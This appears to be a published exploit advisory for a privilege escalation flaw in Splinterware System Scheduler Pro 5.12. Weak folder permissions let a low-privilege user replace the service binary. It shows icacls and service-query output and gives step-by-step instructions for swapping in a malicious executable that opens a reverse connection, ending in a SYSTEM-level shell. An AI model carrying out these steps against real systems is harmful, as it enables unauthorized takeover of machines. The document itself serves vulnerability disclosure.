Splinterware System Scheduler Pro 5.12 - Privilege Escalation

# Exploit Title: Splinterware System Scheduler Pro 5.12 - Privilege Escalation
# Exploit Author: bzyo
# Twitter: @bzyo_
# Date: 2018-07-21
# Vulnerable Software: System Scheduler Pro 5.12
# Vendor Homepage: https://www.splinterware.com
# Version: 5.12
# Tested Windows 7 SP1 x86
# CVE: N/A

# Description:
# Splinterware System Scheduler Pro 5.12 suffers from 
# Privilege Escalation due to insecure file permissions

# Prerequisites
# To successfully exploit this vulnerability, the System Scheduler service must already be installed.

# Details
# By default the Everyone group has the modify permission to System Schedule files as shown below.  
# With the service installed, a low privilege account is able to rename the WService.exe file located in 
# this same path and replace with a malicious file that would connect back to an attacking computer giving system level privileges 
# (nt authority\system) due to the service running as Local System.  While a low privilege user is unable to restart the service 
# through the application, the service is checked periodically triggering the execution of the malicious file.

C:\>icacls "c:\Program Files (x86)\SystemScheduler"
Everyone:(OI)(CI)(M)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

C:\>sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WindowsScheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

		
# Proof of Concept
1. Login as regular user where Splinterware System Scheduler Pro 5.12 and the service are installed 
2. Create malicious .exe with same name 'wservice.exe' that can connect back to attacking machine
3. Download malicious .exe on victim machine, and setup listener on attacking machine
4. Rename original wservice.exe file to wservice.bak, and copy malicious file to location of original   
5. wait short amount of time and check attacking machine listener
6. connection back from victim machine successful, run whoami

nt authority\system